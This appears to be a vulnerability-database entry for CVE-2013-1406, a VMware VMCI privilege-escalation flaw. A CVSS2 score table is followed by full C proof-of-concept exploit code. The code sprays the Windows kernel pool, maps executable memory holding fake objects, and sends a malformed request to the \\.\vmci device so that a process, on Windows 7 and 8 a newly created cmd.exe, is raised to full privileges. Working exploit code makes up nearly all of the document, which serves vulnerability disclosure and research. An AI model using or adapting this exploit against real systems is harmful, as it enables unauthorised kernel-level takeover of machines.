CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
AI Score
Confidence
Low
EPSS
Percentile
26.8%
/*
CVE-2013-1406 exploitation PoC
by Artem Shishkin,
Positive Research,
Positive Technologies,
02-2013
*/
void __stdcall FireShell(DWORD dwSomeParam)
{
EscalatePrivileges(hProcessToElevate);
// Equate the stack and quit the cycle
#ifndef _AMD64_
__asm
{
pop ebx
pop edi
push 0xFFFFFFF8
push 0xA010043
}
#endif
}
HANDLE LookupObjectHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, PVOID pObjectAddr, DWORD dwProcessID = 0)
{
HANDLE hResult = 0;
DWORD dwLookupProcessID = dwProcessID;
if (pHandleTable == NULL)
{
printf("Ain't funny\n");
return 0;
}
if (dwLookupProcessID == 0)
{
dwLookupProcessID = GetCurrentProcessId();
}
for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
{
if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].Object == pObjectAddr))
{
hResult = pHandleTable->Handles[i].HandleValue;
break;
}
}
return hResult;
}
PVOID LookupObjectAddress(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
PVOID pResult = 0;
DWORD dwLookupProcessID = dwProcessID;
if (pHandleTable == NULL)
{
printf("Ain't funny\n");
return 0;
}
if (dwLookupProcessID == 0)
{
dwLookupProcessID = GetCurrentProcessId();
}
for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
{
if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
{
pResult = (HANDLE)pHandleTable->Handles[i].Object;
break;
}
}
return pResult;
}
void CloseTableHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
DWORD dwLookupProcessID = dwProcessID;
if (pHandleTable == NULL)
{
printf("Ain't funny\n");
return;
}
if (dwLookupProcessID == 0)
{
dwLookupProcessID = GetCurrentProcessId();
}
for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
{
if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
{
pHandleTable->Handles[i].Object = NULL;
pHandleTable->Handles[i].HandleValue = NULL;
break;
}
}
return;
}
void PoolSpray()
{
// Init used native API function
lpNtQuerySystemInformation NtQuerySystemInformation = (lpNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL)
{
printf("Such a fail...\n");
return;
}
// Determine object size
// xp:
//const DWORD_PTR dwSemaphoreSize = 0x38;
// 7:
//const DWORD_PTR dwSemaphoreSize = 0x48;
DWORD_PTR dwSemaphoreSize = 0;
if (LOBYTE(GetVersion()) == 5)
{
dwSemaphoreSize = 0x38;
}
else if (LOBYTE(GetVersion()) == 6)
{
dwSemaphoreSize = 0x48;
}
unsigned int cycleCount = 0;
while (cycleCount < 50000)
{
HANDLE hTemp = CreateSemaphore(NULL, 0, 3, NULL);
if (hTemp == NULL)
{
break;
}
++cycleCount;
}
printf("\t[+] Spawned lots of semaphores\n");
printf("\t[.] Initing pool windows\n");
Sleep(2000);
DWORD dwNeeded = 4096;
NTSTATUS status = 0xFFFFFFFF;
PVOID pBuf = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);
while (true)
{
status = NtQuerySystemInformation(SystemExtendedHandleInformation, pBuf, dwNeeded, NULL);
if (status != STATUS_SUCCESS)
{
dwNeeded *= 2;
VirtualFree(pBuf, 0, MEM_RELEASE);
pBuf = VirtualAlloc(NULL, dwNeeded, MEM_COMMIT, PAGE_READWRITE);
}
else
{
break;
}
};
HANDLE hHandlesToClose[0x30] = {0};
DWORD dwCurPID = GetCurrentProcessId();
PSYSTEM_HANDLE_INFORMATION_EX pHandleTable = (PSYSTEM_HANDLE_INFORMATION_EX)pBuf;
for (ULONG i = 0; i < pHandleTable->NumberOfHandles; i++)
{
if (pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwCurPID)
{
DWORD_PTR dwTestObjAddr = (DWORD_PTR)pHandleTable->Handles[i].Object;
DWORD_PTR dwTestHandleVal = (DWORD_PTR)pHandleTable->Handles[i].HandleValue;
DWORD_PTR dwWindowAddress = 0;
bool bPoolWindowFound = false;
UINT iObjectsNeeded = 0;
// Needed window size is vmci packet pool chunk size (0x218) divided by
// Semaphore pool chunk size (dwSemaphoreSize)
iObjectsNeeded = (0x218 / dwSemaphoreSize) + ((0x218 % dwSemaphoreSize != 0) ? 1 : 0);
if (
// Not on a page boundary
((dwTestObjAddr & 0xFFF) != 0)
&&
// Doesn't cross page boundary
(((dwTestObjAddr + 0x300) & 0xF000) == (dwTestObjAddr & 0xF000))
)
{
// Check previous object for being our semaphore
DWORD_PTR dwPrevObject = dwTestObjAddr - dwSemaphoreSize;
if (LookupObjectHandle(pHandleTable, (PVOID)dwPrevObject) == NULL)
{
continue;
}
for (unsigned int j = 1; j < iObjectsNeeded; j++)
{
DWORD_PTR dwNextTestAddr = dwTestObjAddr + (j * dwSemaphoreSize);
HANDLE hLookedUp = LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr);
//printf("dwTestObjPtr = %08X, dwTestObjHandle = %08X\n", dwTestObjAddr, dwTestHandleVal);
//printf("\tdwTestNeighbour = %08X\n", dwNextTestAddr);
//printf("\tLooked up handle = %08X\n", hLookedUp);
if (hLookedUp != NULL)
{
hHandlesToClose[j] = hLookedUp;
if (j == iObjectsNeeded - 1)
{
// Now test the following object
dwNextTestAddr = dwTestObjAddr + ((j + 1) * dwSemaphoreSize);
if (LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr) != NULL)
{
hHandlesToClose[0] = (HANDLE)dwTestHandleVal;
bPoolWindowFound = true;
dwWindowAddress = dwTestObjAddr;
// Close handles to create a memory window
for (int k = 0; k < iObjectsNeeded; k++)
{
if (hHandlesToClose[k] != NULL)
{
CloseHandle(hHandlesToClose[k]);
CloseTableHandle(pHandleTable, hHandlesToClose[k]);
}
}
}
else
{
memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
break;
}
}
}
else
{
memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
break;
}
}
if (bPoolWindowFound)
{
printf("\t[+] Window found at %08X!\n", dwWindowAddress);
}
}
}
}
VirtualFree(pBuf, 0, MEM_RELEASE);
return;
}
void InitFakeBuf(PVOID pBuf, DWORD dwSize)
{
if (pBuf != NULL)
{
RtlFillMemory(pBuf, dwSize, 0x11);
}
return;
}
void PlaceFakeObjects(PVOID pBuf, DWORD dwSize, DWORD dwStep)
{
/*
Previous chunk size will be always 0x43 and the pool index will be 0, so the last bytes will be 0x0043
So, for every 0xXXXX0043 address we must suffice the following conditions:
lea edx, [eax+38h]
lock xadd [edx], ecx
cmp ecx, 1
Some sort of lock at [addr + 38] must be equal to 1. And
call dword ptr [eax+0ACh]
The call site is located at [addr + 0xAC]
Also fake the object to be dereferenced at [addr + 0x100]
*/
if (pBuf != NULL)
{
for (PUCHAR iAddr = (PUCHAR)pBuf + 0x43; iAddr < (PUCHAR)pBuf + dwSize; iAddr = iAddr + dwStep)
{
PDWORD pLock = (PDWORD)(iAddr + 0x38);
PDWORD_PTR pCallMeMayBe = (PDWORD_PTR)(iAddr + 0xAC);
PDWORD_PTR pFakeDerefObj = (PDWORD_PTR)(iAddr + 0x100);
*pLock = 1;
*pCallMeMayBe = (DWORD_PTR)FireShell;
*pFakeDerefObj = (DWORD_PTR)pBuf + 0x1000;
}
}
return;
}
void PenetrateVMCI()
{
/*
VMware Security Advisory
Advisory ID: VMSA-2013-0002
Synopsis: VMware ESX, Workstation, Fusion, and View VMCI privilege escalation vulnerability
Issue date: 2013-02-07
Updated on: 2013-02-07 (initial advisory)
CVE numbers: CVE-2013-1406
*/
DWORD dwPidToElevate = 0;
HANDLE hSuspThread = NULL;
bool bXP = (LOBYTE(GetVersion()) == 5);
bool b7 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 1));
bool b8 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 2));
if (!InitKernelFuncs())
{
printf("[-] Like I don't know where the shellcode functions are\n");
return;
}
if (bXP)
{
printf("[?] Who do we want to elevate?\n");
scanf_s("%d", &dwPidToElevate);
hProcessToElevate = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPidToElevate);
if (hProcessToElevate == NULL)
{
printf("[-] This process doesn't want to be elevated\n");
return;
}
}
if (b7 || b8)
{
// We are unable to change an active process token on-the-fly,
// so we create a custom shell suspended (Ionescu hack)
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.wShowWindow = TRUE;
WCHAR cmdPath[MAX_PATH] = {0};
GetSystemDirectory(cmdPath, MAX_PATH);
wcscat_s(cmdPath, MAX_PATH, L"\\cmd.exe");
if (CreateProcess(cmdPath, L"", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == TRUE)
{
hProcessToElevate = pi.hProcess;
hSuspThread = pi.hThread;
}
}
HANDLE hVMCIDevice = CreateFile(L"\\\\.\\vmci", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
if (hVMCIDevice != INVALID_HANDLE_VALUE)
{
UCHAR BadBuff[0x624] = {0};
UCHAR retBuf[0x624] = {0};
DWORD dwRet = 0;
printf("[+] VMCI service found running\n");
PVM_REQUEST pVmReq = (PVM_REQUEST)BadBuff;
pVmReq->Header.RequestSize = 0xFFFFFFF0;
PVOID pShellSprayBufStd = NULL;
PVOID pShellSprayBufQtd = NULL;
PVOID pShellSprayBufStd7 = NULL;
PVOID pShellSprayBufQtd7 = NULL;
PVOID pShellSprayBufChk8 = NULL;
if ((b7) || (bXP) || (b8))
{
/*
Significant bits of a PoolType of a chunk define the following regions:
0x0A000000 - 0x0BFFFFFF - Standard chunk
0x1A000000 - 0x1BFFFFFF - Quoted chunk
0x0 - 0xFFFFFFFF - Free chunk - no idea
Addon for Windows 7:
Since PoolType flags have changed, and "In use flag" is now 0x2,
define an additional region for Win7:
0x04000000 - 0x06000000 - Standard chunk
0x14000000 - 0x16000000 - Quoted chunk
*/
pShellSprayBufStd = VirtualAlloc((LPVOID)0xA000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
pShellSprayBufQtd = VirtualAlloc((LPVOID)0x1A000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
pShellSprayBufStd7 = VirtualAlloc((LPVOID)0x4000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
pShellSprayBufQtd7 = VirtualAlloc((LPVOID)0x14000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if ((pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL))
{
printf("\t[-] Unable to map the needed memory regions, please try running the app again\n");
CloseHandle(hVMCIDevice);
return;
}
InitFakeBuf(pShellSprayBufStd, 0x2000000);
InitFakeBuf(pShellSprayBufQtd, 0x2000000);
InitFakeBuf(pShellSprayBufStd7, 0x2000000);
InitFakeBuf(pShellSprayBufQtd7, 0x2000000);
PlaceFakeObjects(pShellSprayBufStd, 0x2000000, 0x10000);
PlaceFakeObjects(pShellSprayBufQtd, 0x2000000, 0x10000);
PlaceFakeObjects(pShellSprayBufStd7, 0x2000000, 0x10000);
PlaceFakeObjects(pShellSprayBufQtd7, 0x2000000, 0x10000);
if (SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL) == FALSE)
{
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
}
PoolSpray();
if (DeviceIoControl(hVMCIDevice, 0x8103208C, BadBuff, sizeof(BadBuff), retBuf, sizeof(retBuf), &dwRet, NULL) == TRUE)
{
printf("\t[!] If you don't see any BSOD, you're successful\n");
if (b7 || b8)
{
ResumeThread(hSuspThread);
}
}
else
{
printf("[-] Not this time %d\n", GetLastError());
}
if (pShellSprayBufStd != NULL)
{
VirtualFree(pShellSprayBufStd, 0, MEM_RELEASE);
}
if (pShellSprayBufQtd != NULL)
{
VirtualFree(pShellSprayBufQtd, 0, MEM_RELEASE);
}
}
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);
CloseHandle(hVMCIDevice);
}
else
{
printf("[-] Like I don't see vmware here\n");
}
CloseHandle(hProcessToElevate);
return;
}